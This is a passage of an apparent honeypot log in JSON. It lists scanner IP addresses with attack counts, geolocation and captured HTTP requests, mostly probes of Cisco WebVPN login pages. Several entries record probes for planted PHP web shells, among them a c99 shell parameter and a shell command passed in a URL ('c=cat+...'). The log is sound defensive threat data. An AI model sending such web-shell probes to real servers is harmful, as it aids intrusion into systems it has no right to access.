    "37.19.200.163": {
      "attack_count": 15,
      "first_seen": "2026-05-09T08:51:35.613Z",
      "last_seen": "2026-05-30T00:09:26.607Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "142.111.246.157": {
      "attack_count": 14,
      "first_seen": "2026-05-27T04:59:36.311Z",
      "last_seen": "2026-05-30T02:54:03.893Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": null,
      "as_org": null
    },
    "142.252.59.210": {
      "attack_count": 14,
      "first_seen": "2026-05-29T01:33:11.316Z",
      "last_seen": "2026-05-29T23:04:27.742Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": null,
      "as_org": null
    },
    "155.212.41.145": {
      "attack_count": 14,
      "first_seen": "2026-05-27T21:24:34.990Z",
      "last_seen": "2026-05-31T02:37:41.467Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Cheney",
      "asn": 204957,
      "as_org": "Green Floid LLC"
    },
    "166.1.255.19": {
      "attack_count": 14,
      "first_seen": "2026-05-27T05:45:32.632Z",
      "last_seen": "2026-05-30T13:44:55.892Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "185.244.161.17": {
      "attack_count": 14,
      "first_seen": "2026-05-29T08:23:30.591Z",
      "last_seen": "2026-05-29T13:16:03.591Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Houston",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "193.228.49.194": {
      "attack_count": 14,
      "first_seen": "2026-05-27T01:40:25.484Z",
      "last_seen": "2026-05-27T09:02:49.281Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "193.228.50.108": {
      "attack_count": 14,
      "first_seen": "2026-05-27T14:37:06.256Z",
      "last_seen": "2026-05-28T00:52:29.198Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "192.42.116.143": {
      "attack_count": 13,
      "first_seen": "2026-05-24T01:20:59.814Z",
      "last_seen": "2026-05-24T01:25:30.129Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /a2billing/ws.php?caw HTTP/1.1\" 404 -",
        "\"GET /admin/fortest.php?xa HTTP/1.1\" 404 -",
        "\"GET /api.php? HTTP/1.1\" 404 -",
        "\"GET /modular.php? HTTP/1.1\" 404 -",
        "\"GET /panel/fortest.php?wd HTTP/1.1\" 404 -",
        "\"GET /recordings/sall123.php?qwe HTTP/1.1\" 404 -",
        "\"GET /var/config.php?z1 HTTP/1.1\" 404 -",
        "\"GET /var/mod_conf.php?c99shcook[login]=0 HTTP/1.1\" 404 -",
        "\"GET /vtigercrm/saky.php?p=love04h@te HTTP/1.1\" 404 -",
        "\"POST /api.php??act=cmd HTTP/1.1\" 200 -",
        "\"POST /modular.php??act=cmd HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": null,
      "asn": 215125,
      "as_org": "Church of Cyberology"
    },
    "68.235.46.228": {
      "attack_count": 12,
      "first_seen": "2026-05-05T00:53:04.348Z",
      "last_seen": "2026-05-27T17:10:18.162Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "79.127.222.196": {
      "attack_count": 12,
      "first_seen": "2026-05-05T06:40:12.353Z",
      "last_seen": "2026-05-23T07:01:32.205Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "McAllen",
      "asn": 60068,
      "as_org": "Datacamp Limited"
    },
    "45.192.43.149": {
      "attack_count": 11,
      "first_seen": "2026-05-26T12:02:13.797Z",
      "last_seen": "2026-05-29T23:38:06.116Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "192.42.116.61": {
      "attack_count": 10,
      "first_seen": "2026-05-24T01:22:32.469Z",
      "last_seen": "2026-05-24T01:27:15.260Z",
      "ports": [],
      "event_types": [
        "\"GET /panel/main.php.1?31 HTTP/1.1\" 404 -",
        "\"GET /panel/main.php.1?35 HTTP/1.1\" 404 -",
        "\"GET /panel/main.php.2?22 HTTP/1.1\" 404 -",
        "\"GET /panel/ming-source/config.all.php? HTTP/1.1\" 404 -",
        "\"GET /recordings/a/config.php? HTTP/1.1\" 404 -",
        "\"GET /recordings/a7/config.php? HTTP/1.1\" 404 -",
        "\"GET /recordings/a7a.php?c=cat+a7a.php& HTTP/1.1\" 404 -",
        "\"GET /recordings/a8a.php?c=cat+a8a.php& HTTP/1.1\" 404 -",
        "\"GET /recordings/atmin/config.php? HTTP/1.1\" 404 -",
        "\"GET /recordings/awael/config.php? HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": null,
      "asn": 215125,
      "as_org": "Church of Cyberology"
    },
    "86.54.31.38": {
      "attack_count": 10,
      "first_seen": "2026-05-29T04:34:59.886Z",
      "last_seen": "2026-05-29T04:35:35.162Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /.well-known/security.txt HTTP/1.1\" 404 -",
        "\"GET /aaa9 HTTP/1.1\" 404 -",
        "\"GET /aad7 HTTP/1.1\" 404 -",
        "\"GET /favicon.ico HTTP/1.1\" 404 -",
        "\"GET /robots.txt HTTP/1.1\" 404 -",
        "\"GET /sitemap.xml HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "Canada",
      "country_code": "CA",
      "city": null,
      "asn": 12989,
      "as_org": "Black HOST Ltd"
    },
    "146.70.171.165": {
      "attack_count": 9,
      "first_seen": "2026-05-08T14:16:36.048Z",
      "last_seen": "2026-05-14T12:13:54.721Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 9009,
      "as_org": "M247 Europe SRL"
    },
    "23.234.107.164": {
      "attack_count": 9,
      "first_seen": "2026-05-25T14:10:21.022Z",
      "last_seen": "2026-05-29T09:50:48.304Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.76.73": {
      "attack_count": 9,
      "first_seen": "2026-05-04T12:10:47.300Z",
      "last_seen": "2026-05-30T09:32:14.910Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Raleigh",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.83.73": {
      "attack_count": 9,
      "first_seen": "2026-05-05T13:35:26.328Z",
      "last_seen": "2026-05-27T12:30:18.005Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Seattle",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "43.225.189.147": {
      "attack_count": 9,
      "first_seen": "2026-05-05T06:23:13.047Z",
      "last_seen": "2026-05-30T09:49:02.016Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Boston",
      "asn": 203020,
      "as_org": "HostRoyale Technologies Pvt Ltd"
    },
    "45.146.26.152": {
      "attack_count": 9,
      "first_seen": "2026-05-26T15:20:37.207Z",
      "last_seen": "2026-05-30T02:17:18.666Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Providence",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "152.32.170.42": {
      "attack_count": 8,
      "first_seen": "2026-05-05T02:45:34.773Z",
      "last_seen": "2026-05-05T02:45:51.203Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/favicon.ico HTTP/1.1\" 404 -",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/win.js HTTP/1.1\" 200 -",
        "\"GET /favicon.ico HTTP/1.1\" 404 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED"
    },
    "153.80.157.89": {
      "attack_count": 7,
      "first_seen": "2026-05-29T06:18:57.474Z",
      "last_seen": "2026-05-29T06:19:10.682Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Boaz",
      "asn": 204957,
      "as_org": "Green Floid LLC"
    },
    "172.120.157.244": {
      "attack_count": 7,
      "first_seen": "2026-05-31T03:33:08.018Z",
      "last_seen": "2026-05-31T03:33:24.907Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": null,
      "as_org": null
    },
    "186.246.127.165": {
      "attack_count": 7,
      "first_seen": "2026-05-30T09:23:32.502Z",
      "last_seen": "2026-05-30T09:23:46.818Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Roscoe",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "186.246.56.52": {
      "attack_count": 7,
      "first_seen": "2026-05-27T15:50:18.718Z",
      "last_seen": "2026-05-27T15:50:30.380Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Chevy Chase",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "192.42.116.18": {
      "attack_count": 7,
      "first_seen": "2026-05-24T01:25:47.948Z",
      "last_seen": "2026-05-24T01:25:56.763Z",
      "ports": [],
      "event_types": [
        "\"GET /.1767de7680e3992aa99b451b57af68c6.php? HTTP/1.1\" 404 -",
        "\"GET /_asterisk/config.all.php? HTTP/1.1\" 404 -",
        "\"GET /a2billing/common/images/config.all.php? HTTP/1.1\" 404 -",
        "\"GET /a2billing/common/javascript/config.all.php? HTTP/1.1\" 404 -",
        "\"GET /admin/.1767de7680e3992aa99b451b57af68c6.php? HTTP/1.1\" 404 -",
        "\"GET /recordings/.1767de7680e3992aa99b451b57af68c6.php? HTTP/1.1\" 404 -",
        "\"GET /recordings/ops.php?45xx HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": null,
      "asn": 215125,
      "as_org": "Church of Cyberology"
    },
    "185.141.119.145": {
      "attack_count": 6,
      "first_seen": "2026-05-07T01:08:25.207Z",
      "last_seen": "2026-05-29T17:06:00.013Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Detroit",
      "asn": 207990,
      "as_org": "HostRoyale Technologies Pvt Ltd"
    },
    "23.234.105.74": {
      "attack_count": 6,
      "first_seen": "2026-05-05T10:25:51.327Z",
      "last_seen": "2026-05-05T17:24:13.536Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.117.192": {
      "attack_count": 6,
      "first_seen": "2026-05-05T15:08:45.134Z",
      "last_seen": "2026-05-05T15:26:12.027Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.76.148": {
      "attack_count": 6,
      "first_seen": "2026-05-09T12:20:03.594Z",
      "last_seen": "2026-05-11T12:46:40.200Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Raleigh",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.97.200": {
      "attack_count": 6,
      "first_seen": "2026-05-05T20:44:44.144Z",
      "last_seen": "2026-05-07T04:41:40.221Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "87.249.134.21": {
      "attack_count": 6,
      "first_seen": "2026-05-23T09:34:12.419Z",
      "last_seen": "2026-05-23T09:50:49.602Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "91.92.42.243": {
      "attack_count": 4,
      "first_seen": "2026-05-26T17:16:46.401Z",
      "last_seen": "2026-05-26T17:17:28.135Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "Bulgaria",
      "country_code": "BG",
      "city": null,
      "asn": 209630,
      "as_org": "LLC Vash Kredit Bank"
    },
    "23.234.104.74": {
      "attack_count": 3,
      "first_seen": "2026-05-04T23:32:34.710Z",
      "last_seen": "2026-05-04T23:32:44.533Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.104.99": {
      "attack_count": 3,
      "first_seen": "2026-05-29T17:14:28.323Z",
      "last_seen": "2026-05-29T17:14:37.017Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.112.192": {
      "attack_count": 3,
      "first_seen": "2026-05-08T02:39:33.813Z",
      "last_seen": "2026-05-08T02:39:43.338Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Salt Lake City",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.72.164": {
      "attack_count": 3,
      "first_seen": "2026-05-08T17:35:11.505Z",
      "last_seen": "2026-05-08T17:35:21.445Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.80.65": {
      "attack_count": 3,
      "first_seen": "2026-05-05T19:39:31.749Z",
      "last_seen": "2026-05-05T19:39:39.636Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Seattle",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.82.65": {
      "attack_count": 3,
      "first_seen": "2026-05-07T11:23:26.930Z",
      "last_seen": "2026-05-07T11:23:36.748Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Seattle",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "37.19.200.151": {
      "attack_count": 3,
      "first_seen": "2026-05-27T12:06:17.114Z",
      "last_seen": "2026-05-27T12:06:24.148Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "44.220.188.146": {
      "attack_count": 3,
      "first_seen": "2026-05-02T06:33:42.964Z",
      "last_seen": "2026-05-02T06:33:49.550Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET / HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc."
    },
    "47.251.55.106": {
      "attack_count": 3,
      "first_seen": "2026-05-22T02:22:20.700Z",
      "last_seen": "2026-05-22T02:22:24.128Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd."
    },
    "54.196.240.224": {
      "attack_count": 3,
      "first_seen": "2026-05-19T00:54:01.509Z",
      "last_seen": "2026-05-25T01:01:28.040Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /favicon.ico HTTP/1.1\" 404 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc."
    },
    "68.235.46.48": {
      "attack_count": 3,
      "first_seen": "2026-05-07T06:34:24.741Z",
      "last_seen": "2026-05-07T06:34:33.994Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "109.105.210.98": {
      "attack_count": 2,
      "first_seen": "2026-05-27T21:37:14.655Z",
      "last_seen": "2026-05-27T21:37:17.658Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "Portugal",
      "country_code": "PT",
      "city": null,
      "asn": 21859,
      "as_org": "Zenlayer Inc"
    },
    "144.172.101.108": {
      "attack_count": 2,
      "first_seen": "2026-05-22T21:38:52.322Z",
      "last_seen": "2026-05-23T02:26:20.663Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Las Vegas",
      "asn": 14956,
      "as_org": "RouterHosting LLC"
    },
    "146.247.113.91": {
      "attack_count": 2,
      "first_seen": "2026-05-03T01:11:58.879Z",
      "last_seen": "2026-05-03T01:11:59.604Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "153.76.29.167": {
      "attack_count": 2,
      "first_seen": "2026-05-04T22:05:44.095Z",
      "last_seen": "2026-05-04T22:05:47.099Z",
      "ports": [],
      "event_types": [
        "\"GET /robots.txt HTTP/1.1\" 404 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 3257,
      "as_org": "GTT Communications Inc."
    },
    "167.172.130.89": {
      "attack_count": 2,
      "first_seen": "2026-05-26T19:29:16.520Z",
      "last_seen": "2026-05-26T19:29:19.523Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
